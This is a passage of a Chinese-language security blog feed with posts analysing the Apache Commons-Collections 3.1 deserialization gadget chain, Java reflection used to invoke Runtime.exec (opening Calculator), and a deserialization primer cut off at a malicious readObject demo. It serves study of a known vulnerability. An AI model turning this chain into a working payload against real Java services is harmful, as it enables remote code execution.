<span class="keyword">new</span> ChainedTransformer(transformers);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Transformer <span class="title">getInstance</span><span class="params">(Collection transformers)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (transformers == <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(<span class="string">"Transformer collection must not be null"</span>);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (transformers.size() == <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> NOPTransformer.INSTANCE;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> Transformer[] cmds = <span class="keyword">new</span> Transformer[transformers.size()];</span><br><span class="line"> <span class="keyword">int</span> i = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) {</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> FunctorUtils.validate(cmds);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> ChainedTransformer(cmds);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Transformer <span class="title">getInstance</span><span class="params">(Transformer transformer1, Transformer transformer2)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (transformer1 != <span class="keyword">null</span> && transformer2 != <span class="keyword">null</span>) {</span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> Transformer[]{transformer1, transformer2};</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> ChainedTransformer(transformers);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(<span class="string">"Transformers must not be null"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">ChainedTransformer</span><span class="params">(Transformer[] transformers)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.iTransformers = transformers;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">transform</span><span class="params">(Object object)</span> </span>{</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="keyword">this</span>.iTransformers.length; ++i) {</span><br><span class="line"> object = <span class="keyword">this</span>.iTransformers[i].transform(object);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> object;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> Transformer[] getTransformers() {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.iTransformers;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>可以看到ChainedTransformer实现了Transformer接口<br><img src="/commons-collections-3.1 反序列化分析.resources/721F9131-0EDE-48FA-8B6C-E3D7CB193A52.png" alt="fbe4c1a447b880133c8d30549ff2124b"><br>重构了transform,当我们传入类时,会一起去调用每一个<code>Transformer.thransform()</code><br><img src="/commons-collections-3.1 反序列化分析.resources/31BC1953-8206-490C-918D-B664A467F8E5.png" alt="55790d96f1cc96c94995ee3e11e57b42"></p><p>那么也就是说,最终处理的还是<code>InvokerTransformer</code>类,同样的,那么我们也可以利用<code>ChainedTransformer</code>去实现<code>java.lang.Runtime</code>的调用</p><p><img src="/commons-collections-3.1 反序列化分析.resources/9F23DAB4-5A40-46D7-BB2D-55CEB05CD0FA.png" alt="65611bbef62af107e62213a0acad069c"></p><hr><p><strong>ChainedTransformer 调用</strong><br><img src="/commons-collections-3.1 反序列化分析.resources/947B03EA-34D6-440D-931B-B5DE4F6672F3.png" alt="507fff0f47391d10cb59ab987eea846a"></p><p>会直接调用<br><code>org/apache/commons/collections/functors/InvokerTransformer.class</code><br><img src="/commons-collections-3.1 反序列化分析.resources/A6883B5B-729B-4E2D-9023-778DAFE25DBE.png" alt="c935937705c67a56cd230a2f436a1b16"></p><p>经过一共四次for循环<br><img src="/commons-collections-3.1 反序列化分析.resources/4EA80FCD-AA9C-462B-8791-5E64093B63D1.png" alt="bb6cf9b5ced4b80dab0c316d39d8941e"></p><p><img src="/commons-collections-3.1 反序列化分析.resources/05CBED33-3973-4233-89D1-006CC14F31B8.png" alt="355724bfe893dec540a29132191935d7"></p><p>调用<code>Runtime.exec()</code></p><hr><p>回到利用链里,这个poc使用了一个Map对象,然后调用了<code>TransformedMap.decorate</code>方法<br><img src="/commons-collections-3.1 反序列化分析.resources/8A416CF0-8892-45FA-8110-60B10FE46625.png" alt="fd8c12899807418c4854489cf19f07e9"></p><p>经过静态方法decorate可以实例化<code>TransformedMap</code><br><img src="/commons-collections-3.1 反序列化分析.resources/D457596A-B2A8-4AE3-8B12-7F3B5A0A0677.png" alt="b8310b1d11258aff578960f3d6581aea"></p><p>经过构造函数赋值后<br><img src="/commons-collections-3.1 反序列化分析.resources/6C3345F9-C6C6-4887-8387-2E4A26037527.png" alt="563f9df1eb4b847c72ff8fc1a17e7d81"></p><p>如果满足了valueTransformer,那么就可以直接调用<code>InvokerTransformer#transform</code><br><img src="/commons-collections-3.1 反序列化分析.resources/C7835E53-18B4-4475-B89B-F4F9A1FAEDDC.png" alt="fb50f2a6b3b37edf20de10d2fcb786bc"></p><p>也就是说,只要我们传入任意<code>setValue/put/putAll</code>方法,都可以满足这个条件<br><img src="/commons-collections-3.1 反序列化分析.resources/633EF429-C8D5-4DCE-9196-8FDB83A4C1EB.png" alt="aeaa40a7c1efa00b9f4d1c870d960152"><br>当然,这样确实是可以成功调用transform方法,调用Runtime.exec()</p><p>但是接着跟Poc,却发现触发点并不在那,而是通过entrySet()方法<br><img src="/commons-collections-3.1 反序列化分析.resources/F9BBD03E-8B44-4446-98F4-7013E4F9056C.png" alt="991188c28917bdaa461652f7e41e0656"></p><p><img src="/commons-collections-3.1 反序列化分析.resources/9EE06C3B-EB61-432B-85AA-F6CF142BED43.png" alt="1212e13087d1c72689fd3eb83bdc53c9"><br>然后在运行到<code>onlyElement.setValue("foobar");</code>的时候,触发<code>CheckSetValue()</code>方法<br><img src="/commons-collections-3.1 反序列化分析.resources/8799FA40-C9B3-4193-B1B6-BB030C31E15A.png" alt="19c2d82964982c166fb27fdb51ad3afc"></p><p><img src="/commons-collections-3.1 反序列化分析.resources/AB75733F-63F6-445F-960E-61F6C131C9E1.png" alt="7e0fdea57fa551464092a48c0652bdae"></p><p>所以只要我们去调用<code>SetVaule()</code>就可以直接调用transform方法</p><h3 id="AnnotationInvocationHandler"><a href="#AnnotationInvocationHandler" class="headerlink" title="AnnotationInvocationHandler"></a>AnnotationInvocationHandler</h3><p>如果要完成反序列化,那么必须找一个readObject()中调用了<code>TransformedMap::MapEntry#setValue()</code>的类</p><p><code>sun/reflect/annotation/AnnotationInvocationHandler.class</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(ObjectInputStream var1)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException </span>{</span><br><span class="line"> var1.defaultReadObject();</span><br><span class="line"> AnnotationType var2 = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> var2 = AnnotationType.getInstance(<span class="keyword">this</span>.type);</span><br><span class="line"> } <span class="keyword">catch</span> (IllegalArgumentException var9) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> InvalidObjectException(<span class="string">"Non-annotation type in annotation serial stream"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Map var3 = var2.memberTypes();</span><br><span class="line"> Iterator var4 = <span class="keyword">this</span>.memberValues.entrySet().iterator();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(var4.hasNext()) {</span><br><span class="line"> Entry var5 = (Entry)var4.next();</span><br><span class="line"> String var6 = (String)var5.getKey();</span><br><span class="line"> Class var7 = (Class)var3.get(var6);</span><br><span class="line"> <span class="keyword">if</span> (var7 != <span class="keyword">null</span>) {</span><br><span class="line"> Object var8 = var5.getValue();</span><br><span class="line"> <span class="keyword">if</span> (!var7.isInstance(var8) && !(var8 <span class="keyword">instanceof</span> ExceptionProxy)) {</span><br><span class="line"> var5.setValue((<span class="keyword">new</span> AnnotationTypeMismatchExceptionProxy(var8.getClass() + <span class="string">"["</span> + var8 + <span class="string">"]"</span>)).setMember((Method)var2.members().get(var6)));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br></pre></td></tr></table></figure></p><p>那么,现在的问题就是,我们怎么样才能顺利的进入<code>var5.setValue()</code>这里来。</p><p><img src="/commons-collections-3.1 反序列化分析.resources/D247285B-C473-45BB-AE2C-C7B67C346D60.png" alt="035bf6e72a2ed1af75c9b1caecdf58dd"></p><p><img src="/commons-collections-3.1 反序列化分析.resources/64F402E8-4209-43CA-9E99-C86EAE13D03B.png" alt="b5466a671d97183d32e0684d201b5a3c"></p><p>确保var7获取到<code>java.lang.annotation.RetentionPolicy</code><br>芜湖~起飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞</p><p><strong>完整调用栈</strong><br><img src="/commons-collections-3.1 反序列化分析.resources/291B3AD6-0689-4F7C-A5A1-A7C537C15D96.png" alt="be7a262dd232ffb3479907e7e888c8bd"></p><h2 id="0x03-相关链接"><a href="#0x03-相关链接" class="headerlink" title="0x03 相关链接"></a>0x03 相关链接</h2><p><a href="https://xz.aliyun.com/t/4558" target="_blank" rel="noopener">https://xz.aliyun.com/t/4558</a><br><a href="https://www.xmanblog.net/java-deserialize-apache-commons-collections/" target="_blank" rel="noopener">https://www.xmanblog.net/java-deserialize-apache-commons-collections/</a><br><a href="https://javasec.org/javase/JavaDeserialization/Collections.html" target="_blank" rel="noopener">https://javasec.org/javase/JavaDeserialization/Collections.html</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-3-19 23:24:22</p>
</blockquote>
<p><img src="/wallpaper/silhouette.jpg" alt></p>
<h2 id="0x
</summary>
<category term="Java_Sec" scheme="http://patrilic.top/categories/Java-Sec/"/>
<category term="Commons-Collections" scheme="http://patrilic.top/tags/Commons-Collections/"/>
</entry>
<entry>
<title>Java Refection</title>
<link href="http://patrilic.top/2020/03/18/Java%20Reflection/"/>
<id>http://patrilic.top/2020/03/18/Java Reflection/</id>
<published>2020-03-18T09:43:11.000Z</published>
<updated>2020-03-24T12:21:15.111Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-3-18 17:43:11</p></blockquote><p><img src="/wallpaper/silhouette_starry_sky_stars_1312.jpg" alt></p><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>反射是Java的一个高级特性,指在<code>运行状态中</code>对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性,创建实例,修改类成员变量等等。 这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。</p><h2 id="0x01-相关类"><a href="#0x01-相关类" class="headerlink" title="0x01 相关类"></a>0x01 相关类</h2><table><thead><tr><th>类名</th><th>用途</th></tr></thead><tbody><tr><td>Class类</td><td>类的实体,在运行的Java应用程序中表示类和接口</td></tr><tr><td>Method类</td><td>类的方法</td></tr><tr><td>Construct类</td><td>类的构造方法</td></tr><tr><td>Field类</td><td>类的成员变量</td></tr></tbody></table><h3 id="Get-Class"><a href="#Get-Class" class="headerlink" title="Get Class"></a>Get Class</h3><p>获取类的方式通常有三种<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Class runtimeClass1 = Class.forName(className);</span><br><span class="line">Class runtimeClass2 = java.lang.Runtime.class;</span><br><span class="line">Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);</span><br></pre></td></tr></table></figure></p><p>需要注意的是,在获取数组类型的Class对象时,需要使用特殊的Java描述符<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Class<?> doubleArray = Class.forName(<span class="string">"[D"</span>);</span><br><span class="line">Class<?> cStringArray = Class.forName(<span class="string">"[[Ljava.lang.String;"</span>);</span><br></pre></td></tr></table></figure></p><h3 id="Get-Construct"><a href="#Get-Construct" class="headerlink" title="Get Construct"></a>Get Construct</h3><p>首先跳到<code>java.lang.Runtime</code>的源码处,可以观察到Runtime类的构造方法是private属性的,也就是说不允许其他人创建实例。<br><img src="/Java Reflection.resources/D1AB073F-6FFC-46E6-98C6-AB307372ED9E.png" alt="e488ae699f0ee7f64c5842bfbd585adb"></p><p>也就是说,在没有<code>import java.lang.Runtime</code>的时候,我们是不能够去new一个新的Runtime对象的</p><p>反射机制提供了两种方法可以获取类的构造方法: </p><ul><li>runtimeClass1.getDeclaredConstructor </li><li>runtimeClass1.getConstructor // 不能获取private方法</li></ul><p>获取Constuct后,使用<code>constructor.newInstance()</code>实例化</p><p>当我们没有访问构造方法权限时我们应该调用constructor.setAccessible(true)修改访问权限就可以成功的创建出类实例了</p><h3 id="Get-Method"><a href="#Get-Method" class="headerlink" title="Get Method"></a>Get Method</h3><p>获取当前类所有的成员方法:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Method[] methods = runtimeClass1.getDeclaredMethods();</span><br></pre></td></tr></table></figure></p><p>获取当前类指定的成员方法:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Method method = clazz.getDeclaredMethod(<span class="string">"方法名"</span>);</span><br></pre></td></tr></table></figure></p><p>通过method.invoke可以调用方法:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">method.invoke(方法实例对象, 方法参数值,多个参数值用<span class="string">","</span>隔开);</span><br></pre></td></tr></table></figure></p><p>method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)的方式调用</p><h3 id="Get-Field"><a href="#Get-Field" class="headerlink" title="Get Field"></a>Get Field</h3><p>获取当前类的所有成员变量:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Field fields = clazz.getDeclaredFields();</span><br></pre></td></tr></table></figure></p><p>获取当前类指定的成员变量:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Field field = clazz.getDeclaredField(<span class="string">"变量名"</span>);</span><br></pre></td></tr></table></figure></p><p>获取当前类的所有成员变量:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Field fields = clazz.getDeclaredFields();</span><br></pre></td></tr></table></figure></p><p>获取当前类指定的成员变量:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Field field = clazz.getDeclaredField(<span class="string">"变量名"</span>);</span><br></pre></td></tr></table></figure></p><p>当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)的方式修改为访问成员变量访问权限</p><p>修改final关键字修饰的变量时:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 反射获取Field类的modifiers</span></span><br><span class="line">Field modifiers = field.getClass().getDeclaredField(<span class="string">"modifiers"</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 设置modifiers修改权限</span></span><br><span class="line">modifiers.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 修改成员变量的Field对象的modifiers值</span></span><br><span class="line">modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 修改成员变量值</span></span><br><span class="line">field.set(类实例对象, 修改后的值);</span><br></pre></td></tr></table></figure></p><h2 id="0x02-反射java-lang-Runtime"><a href="#0x02-反射java-lang-Runtime" class="headerlink" title="0x02 反射java.lang.Runtime"></a>0x02 反射java.lang.Runtime</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.reflect;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">RuntimeClass</span> </span>{</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException </span>{</span><br><span class="line">String className = <span class="string">"java.lang.Runtime"</span>;</span><br><span class="line">Class runtimeClass1 = Class.forName(className);</span><br><span class="line">Class runtimeClass2 = java.lang.Runtime.class;</span><br><span class="line">Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);</span><br><span class="line"></span><br><span class="line">System.out.println(runtimeClass1);</span><br><span class="line">System.out.println(runtimeClass2);</span><br><span class="line">System.out.println(runtimeClass3);</span><br><span class="line"></span><br><span class="line">Constructor constructor = runtimeClass1.getDeclaredConstructor();</span><br><span class="line">constructor.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 创建Runtime类示例,等价于 Runtime rt = new Runtime();</span></span><br><span class="line">Object runtimeInstance = constructor.newInstance();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取Runtime的exec(String cmd)方法</span></span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line">Method runtimeMethod = runtimeClass1.getMethod(<span class="string">"exec"</span>, String.class);</span><br><span class="line">Process process = (Process) runtimeMethod.invoke(runtimeInstance, <span class="string">"open -a /System/Applications/Calculator.app"</span>);</span><br><span class="line">} <span class="keyword">catch</span> (Exception e) {</span><br><span class="line">System.out.println(e);</span><br><span class="line">}</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/Java Reflection.resources/9777955F-F737-4684-A531-6EF91AA1936E.png" alt="c1abfa931867d7ce0f429414ec7f27e0"></p><h2 id="0x03-相关链接"><a href="#0x03-相关链接" class="headerlink" title="0x03 相关链接"></a>0x03 相关链接</h2><p><a href="https://javasec.org/javase/Reflection/Reflection.html" target="_blank" rel="noopener">https://javasec.org/javase/Reflection/Reflection.html</a><br><a href="https://www.jianshu.com/p/9be58ee20dee" target="_blank" rel="noopener">https://www.jianshu.com/p/9be58ee20dee</a><br><a href="https://xz.aliyun.com/t/2342" target="_blank" rel="noopener">https://xz.aliyun.com/t/2342</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-3-18 17:43:11</p>
</blockquote>
<p><img src="/wallpaper/silhouette_starry_sky_stars_1312.jp
</summary>
<category term="Java_Sec" scheme="http://patrilic.top/categories/Java-Sec/"/>
<category term="Java反射" scheme="http://patrilic.top/tags/Java%E5%8F%8D%E5%B0%84/"/>
</entry>
<entry>
<title>Java反序列化学习</title>
<link href="http://patrilic.top/2020/03/18/Java%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
<id>http://patrilic.top/2020/03/18/Java 反序列化/</id>
<published>2020-03-18T03:26:55.000Z</published>
<updated>2020-03-18T03:28:17.371Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-3-18 11:26:55</p></blockquote><p><img src="/wallpaper/girl_field_night.jpg" alt></p><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>Java中只需要实现<code>java.io.Serializable</code>或者<code>java.io.Externalizable</code>接口即可执行序列化操作</p><h2 id="0x01-构造序列化-反序列化操作"><a href="#0x01-构造序列化-反序列化操作" class="headerlink" title="0x01 构造序列化/反序列化操作"></a>0x01 构造序列化/反序列化操作</h2><p>构造一个调用类,其中,Exployee类实现了<code>java.io.Serializable</code>接口 :<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.testSer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Employee</span> <span class="keyword">implements</span> <span class="title">java</span>.<span class="title">io</span>.<span class="title">Serializable</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">public</span> String name;</span><br><span class="line"> <span class="keyword">public</span> String identify;</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">mailCheck</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> System.out.println(<span class="string">"This is the "</span>+<span class="keyword">this</span>.identify+<span class="string">" of our company"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>序列化操作, 在调用Employee类时,所有的数据都会被序列化<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.testSer;</span><br><span class="line"><span class="keyword">import</span> com.patrilic.testSer.Employee;</span><br><span class="line"></span><br><span class="line"><span class="comment">//import com.sun.xml.internal.bind.v2.runtime.unmarshaller.XsiNilLoader.Array;</span></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Step1</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String [] args)</span> </span>{</span><br><span class="line"> Employee e = <span class="keyword">new</span> Employee();</span><br><span class="line"> e.name = <span class="string">"员工甲"</span>;</span><br><span class="line"> e.identify = <span class="string">"General staff"</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 打开一个文件输入流</span></span><br><span class="line"> FileOutputStream fileOut =</span><br><span class="line"> <span class="keyword">new</span> FileOutputStream(<span class="string">"/tmp/test.db"</span>);</span><br><span class="line"> <span class="comment">// 建立对象输入流</span></span><br><span class="line"> ObjectOutputStream out = <span class="keyword">new</span> ObjectOutputStream(fileOut);</span><br><span class="line"> <span class="comment">//输出反序列化对象</span></span><br><span class="line"> out.writeObject(e);</span><br><span class="line"> out.close();</span><br><span class="line"> fileOut.close();</span><br><span class="line"> System.out.printf(<span class="string">"Serialized data is saved in /tmp/test.db"</span>);</span><br><span class="line"> }<span class="keyword">catch</span>(IOException i)</span><br><span class="line"> {</span><br><span class="line"> i.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>反序列化操作<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.testSer;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Step2</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String [] args)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> </span><br><span class="line"> Employee e = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">try</span></span><br><span class="line"> {</span><br><span class="line"> <span class="comment">// 打开一个文件输入流</span></span><br><span class="line"> FileInputStream fileIn = <span class="keyword">new</span> FileInputStream(<span class="string">"/tmp/test.db"</span>);</span><br><span class="line"> <span class="comment">// 建立对象输入流</span></span><br><span class="line"> ObjectInputStream in = <span class="keyword">new</span> ObjectInputStream(fileIn);</span><br><span class="line"> <span class="comment">// 读取对象</span></span><br><span class="line"> e = (Employee) in.readObject();</span><br><span class="line"> in.close();</span><br><span class="line"> fileIn.close();</span><br><span class="line"> }<span class="keyword">catch</span>(IOException i)</span><br><span class="line"> {</span><br><span class="line"> i.printStackTrace();</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }<span class="keyword">catch</span>(ClassNotFoundException c)</span><br><span class="line"> {</span><br><span class="line"> System.out.println(<span class="string">"Employee class not found"</span>);</span><br><span class="line"> c.printStackTrace();</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> System.out.println(<span class="string">"Deserialized Employee..."</span>);</span><br><span class="line"> System.out.println(<span class="string">"Name: "</span> + e.name);</span><br><span class="line"> System.out.println(<span class="string">"This is the "</span>+e.identify+<span class="string">" of our company"</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p><img src="/Java 反序列化.resources/13259480-88F4-4BA5-A0FA-757AC0180B25.png" alt="5c76564b213c37611a5e44668313a8bd"></p><h2 id="0x02-反序列化漏洞"><a href="#0x02-反序列化漏洞" class="headerlink" title="0x02 反序列化漏洞"></a>0x02 反序列化漏洞</h2><p>Java反序列化中,会调用被反序列化的readObject方法,如果readObject方法是恶意的,那么就会引发漏洞</p><h3 id="Demo"><a href="#Demo" class="headerlink" title="Demo"></a>Demo</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span 